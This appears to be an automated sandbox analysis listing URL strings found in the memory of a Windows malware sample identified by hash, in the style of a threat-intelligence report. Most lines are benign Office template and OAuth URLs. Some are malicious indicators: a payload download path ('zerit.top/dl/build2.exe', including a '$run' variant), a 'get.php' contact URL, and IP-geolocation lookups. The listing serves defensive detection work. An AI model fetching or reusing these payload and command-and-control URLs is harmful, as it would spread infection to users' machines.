Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000709000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.phpp
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602267530.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602564967.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602704131.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602799315.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602861847.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602923443.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2602983680.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.2603050021.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe$run
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exeS
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/v2/auth
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000709000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/(
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/0
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457696566.0000000000727000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000003.1456164886.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/6
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/A
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/Root
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json6
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json;1Z
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonC?
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonK
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonN
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonV
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.1522373057.0000000000708000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.1522813556.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonVk
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonYS-R
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000003.1552193158.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonZ
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonZ&$S4
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonal
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsondll
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons/
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json~?
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/h
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://api.login.yahoo.com/oauth2/get_token
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://api.login.yahoo.com/oauth2/request_auth
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: prep_ui_win32_bundle_V8_perf.cache.11.dr	String found in binary or memory: https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/ui.win32.js.map/d6bb35bc608af2672a5b746ba
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt02780252.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt02802345.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt02802349.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt02802349.pngr
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt02803534.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt02897376.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt02897376.png%
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt03107658.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt03107665.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt03458075.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt03987161.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt03987167.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt04014209.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt04014209.png#
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt10000137.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt11829122.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt16400272.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt16400647.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt16400647.pngp
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt16400656.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt16400656.png8
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt16410221.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt16410255.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt23154796.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt33686846.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt33686846.pngp
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt34128371.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt44461500.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt45299826.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt78443713.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt78582910.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/lt89309507.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02780252.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02802345.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02802345.png4
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02802349.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02803534.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02803534.png_
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02897376.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt02897376.png)
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03107658.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03107658.pngP
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03107658.pngt
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03107665.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03458075.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03987161.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03987167.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt03987167.pngi
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt04014209.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt04014209.pngo
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt10000137.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt10000137.pngO
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt11829122.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16400272.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16400272.png3
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16400647.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16400656.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16410221.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16410221.png4
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16410255.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16410255.png)
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt16410255.pngts
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt23154796.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt33686846.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt33686846.pngi
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt34128371.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt34128371.pngss
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt44461500.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt44461500.pngs
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt45299826.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt78443713.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt78582910.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt78582910.png)
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/mt89309507.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0278025205.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0280234504.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0280234902.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0280234902.cabice
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0280353402.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0289737608.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0310765804.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0310766506.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0345807506.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0345807506.cab%
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0398716105.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0398716705.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0401420906.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp0401420906.cab%
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1000013711.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1182912204.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1182912204.cab%h
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1640027203.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1640064710.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1640064710.cab%
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1640065620.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1641022106.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1641025513.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp1641025513.cab)
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp2315479603.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp2315479603.cab.of
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp3368684604.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp3368684604.cabnRoami
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp3412837104.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp4446150007.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp4529982606.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp7844371302.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp7858291005.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/de-de/tp8930950703.cab
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt02802345.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt02887601.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt02897376.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt02930043.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt03107658.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt03107665.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt03458075.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt03986974.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt03987161.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt03987167.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt04014209.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt10000137.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt11414620.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt11829122.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt16400647.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt16400656.png
